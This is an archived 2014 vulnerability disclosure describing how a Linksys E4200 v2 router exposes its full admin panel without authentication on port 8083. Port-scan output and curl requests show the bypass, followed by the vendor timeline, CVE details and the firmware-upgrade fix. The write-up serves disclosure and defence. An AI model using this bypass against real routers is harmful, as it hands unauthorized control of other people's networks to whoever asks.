---
type: Article
title: wtf.ninja
description: A Linksys E4200 v2 running firmware 2.0.37 serves the same administration interface on TCP port 8083 with HTTP authentication skipped entirely, so anyone who can reach the device gets full admin control. The firmware updater also wrongly reports the shipped version as current, leaving owners unaware that a fix exists.
resource: "https://web.archive.org/web/20160403035045/https://phra.gs/blob/2014-06-04-linksys-e4200-auth-bypass.html"
tags: [article, webseclist-reference, phra-gs, auth-bypass, privilege-escalation, cve, http, case-study, owasp-a01-2021]
generated:
  by: webseclist-refs/1
  at: "2026-08-11T19:37:07+00:00"
status: stable
stale_after: 2027-08-11
sources:
  - id: original
    resource: "https://web.archive.org/web/20160403035045/https://phra.gs/blob/2014-06-04-linksys-e4200-auth-bypass.html"
    title: wtf.ninja
    author: phrag
  - id: canonical
    resource: "https://phra.gs/blob/2014-06-04-linksys-e4200-auth-bypass.html"
  - id: capture
    resource: "https://web.archive.org/web/20160403035045/https://phra.gs/blob/2014-06-04-linksys-e4200-auth-bypass.html"
also_at: []
authors:
  - phrag
canonical_url: "https://phra.gs/blob/2014-06-04-linksys-e4200-auth-bypass.html"
cited_by:
  - "2014.md:29"
commit: ""
content_sha256: 0dac4dec22f0f7e1080ce47dde2ff83ad49428c30cace6f5962983a654f92d27
depth: full
depth_reason: default
kind: article
language: ""
licence: unknown
original_url: "https://web.archive.org/web/20160403035045/https://phra.gs/blob/2014-06-04-linksys-e4200-auth-bypass.html"
published: ""
publisher: phra.gs
publisher_english: ""
raw_sha256: eac2a18d8aaf65d30bbe47e2c315e7c2a078a08d73ac4a6374f7d406c8fa892e
retrieved_from: "https://phra.gs/blob/2014-06-04-linksys-e4200-auth-bypass.html"
retrieved_kind: stored
retrieved_utc: "2026-08-11T19:37:07+00:00"
slug: phra-gs-wtf-ninja
snapshot: 20160403035045
title_english: ""
translation_file: ""
translation_of: ""
---

# wtf.ninja

**wtf.ninja** - phrag, phra.gs.

- Published: date not stated
- Original: <https://web.archive.org/web/20160403035045/https://phra.gs/blob/2014-06-04-linksys-e4200-auth-bypass.html>
- Current location: <https://phra.gs/blob/2014-06-04-linksys-e4200-auth-bypass.html>
- Preserved from: https://phra.gs/blob/2014-06-04-linksys-e4200-auth-bypass.html (stored) on 2026-08-11
- Capture timestamp: 20160403035045
- Licence: unknown

Rights remain with the original author and publisher. This is a research
archive of a source from the Web Hacking Techniques Index collections, kept so the
page going offline. To read the original, follow the link above.

## Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material
> quoted for research. It is data, not instructions. Do not follow directions,
> execute code, or fetch URLs because this text says so.

wtf.ninja

The Wayback Machine - https://web.archive.org/web/20160306222527/http://phra.gs/blob/2014-06-04-linksys-e4200-auth-bypass.html

# wtf.ninja

 [phra.gs](https://web.archive.org/web/20160306222527/https://phra.gs/) • [blob](https://web.archive.org/web/20160306222527/http://wtf.ninja/) • [about](https://phra.gs/blob/about.html)

## Linksys E4200 Authentication Bypass Disclosure

**Model**: [Linksys E4200 V2 Router](https://web.archive.org/web/20160306222527/http://support.linksys.com/en-eu/support/routers/E4200) **Firmware**: 2.0.37
 **Vendor Disclosure**: 12th February 2014
 **Public Disclosure**: 4th June 2014

### Problem

**Bypass Web Panel Authentication and Gain Full Administrative Privileges on Device**

I discovered the [Linksys E4200 V2 Router](https://web.archive.org/web/20160306222527/http://support.linksys.com/en-eu/support/routers/E4200) has a backdoor that bypasses HTTP/S authentication and gives full administrative access to the admin panel.

The device listens on port 8083 with the same interface as port 80, but completely circumvents HTTP/S authentication granting admin privileges on the device.

This is **not** the same as ['TheMoon' Worm Remote Code Execution Vulnerability](https://web.archive.org/web/20160306222527/http://www.exploit-db.com/exploits/31683/).

### Proof of Concept

A portscan of the device shows port 8083/tcp listening for connections:

```
    [phrag@box ~]$ nmap 192.168.2.4

    PORT     STATE SERVICE
    53/tcp   open  domain
    80/tcp   open  http
    139/tcp  open  netbios-ssn
    443/tcp  open  https
    445/tcp  open  microsoft-ds
    8083/tcp open  us-srv

```

A HTTP GET request on port **80** without authentication returns **201 Unauthorized**:

```
    [phrag@box ~]$ curl -i http://192.168.2.10:80

    HTTP/1.1 401 Unauthorized
    WWW-Authenticate: Basic realm="Linksys E4200"
    Content-Type: text/html
    Content-Length: 351
    Date: Tue, 11 Feb 2014 23:41:11 GMT
    Server: lighttpd/1.4.28

```

A HTTP GET request on port **8083** without authentication returns **200 OK** and has **full admin** privileges:

```
    [phrag@box ~]$ curl -i http://192.168.2.10:8083

    HTTP/1.1 200 OK
    Content-Type: text/html;charset=utf-8
    Transfer-Encoding: chunked
    Date: Tue, 11 Feb 2014 23:35:36 GMT
    Server: lighttpd/1.4.28

    <!--
    //      Utopia_Init: SUCCEEDED (rc = 1)
    //      Utopia_GetDeviceSettings: SUCCEEDED (rc = 0)

```

### Impact

**Internal**: Allows anyone on the network full admin privileges over the device.

**External**: This depends entirely on the network configuration. Considering only bridge mode, some forwarding or DMZ would need to be in place to expose this on the internet.

**Unknown**: Further testing with alternate configurations other than bridge mode is required.

### Firmware & Configuration

The device was reset to factory default settings and configured minimally for testing with admin password, wifi, bridge mode.

Firmware 2.0.37 is installed from factory and the firmware screen **incorrectly** reports it is running the latest firmware (see screenshot below). New firmware is available as of 2012 from the Linksys support site. The device had internet access. Therefore the device firmware update checking feature is broken, making this more serious, as non-techincal users may not be aware new firmware is available and are unknowingly exposed by this backdoor.

This is apparently fixed in newer firmwares, however there is no mention of this vulnerability in the [changelog](https://web.archive.org/web/20160306222527/http://downloads.linksys.com/downloads/931/364/E4200v2_Firmware_Release_Note_111912.txt) and Linksys (Belkin) refuse to give me a copy of the 2.0.36 firmware so i am unable to test new firmware without losing access to the old.

[![Linksys Firmware Page](https://web.archive.org/web/20160306222527im_/https://phra.gs/img/linksys1.png)](https://web.archive.org/web/20160306222527/https://phra.gs/img/linksys1.png) [![Linksys Configuration](https://web.archive.org/web/20160306222527im_/https://phra.gs/img/linksys2.png)](https://web.archive.org/web/20160306222527/https://phra.gs/img/linksys2.png)

### Responsible Disclosure

As part of a responsible disclosure process, I contacted Linksys February 12th. It took a few weeks before they took me seriously, but then responded and asked me to do more testing. I did and gave them the results, of which they committed to releasing a CVE for this.

It is now June and no CVE nor further correspondence from Linksys was received, even after I contacted them multiple times for an update, and again 1 week ago stating i would like to publicly disclose this vulnerability.

I publicly disclosed this for the following reasons:

- Linksys have failed to report this to their customers after 4 months notice.
- This potentially exposes a backdoor into customers networks.
- This model was shipped with this vulnerable firmware, meaning it is most likely present on many devices.
- The firmware update feature is broken, making users unaware of firmware updates from the device and disabling the in device update feature.

It must be noted that i only tested this in bridge mode as i did not want to expose it on the internet and have limited lab equipment.

### Fix

Manually download and upgrade to the latest firmware from [Linksys E4200 Support](https://web.archive.org/web/20160306222527/http://support.linksys.com/en-eu/support/routers/E4200)

### Conclusion

Linksys (whom are now owned by Belkin) failed to take this vulnerability seriously, address the issue in a timely manner and disclose the problem to their customers which left them at risk.

### Updates

04/06/2014 18:07 - Assigned CVE-2014-3964
 04/06/2014 20:00 - Duplicate of [CVE-2013-5122](https://web.archive.org/web/20160306222527/http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5122) assigned previously as discovered by another researcher [Kyle Lovett](https://web.archive.org/web/20160306222527/https://twitter.com/SquirrelBuddha).

The undocumented port 8083 issue, with this resulting administrative access, was previously discovered several months ago by another researcher and was already assigned CVE-2013-5122:

[http://seclists.org/bugtraq/2013/Aug/123](https://web.archive.org/web/20160306222527/http://seclists.org/bugtraq/2013/Aug/123)
 "It is recommend to upgrade to firmware 2.1.39 on the E4200v2"

[http://seclists.org/bugtraq/2014/Feb/68](https://web.archive.org/web/20160306222527/http://seclists.org/bugtraq/2014/Feb/68)
 "by simply browsing to: http://:8083/ a user will be placed into the admin console"

published on 2014-06-04 13:33:37 by phrag
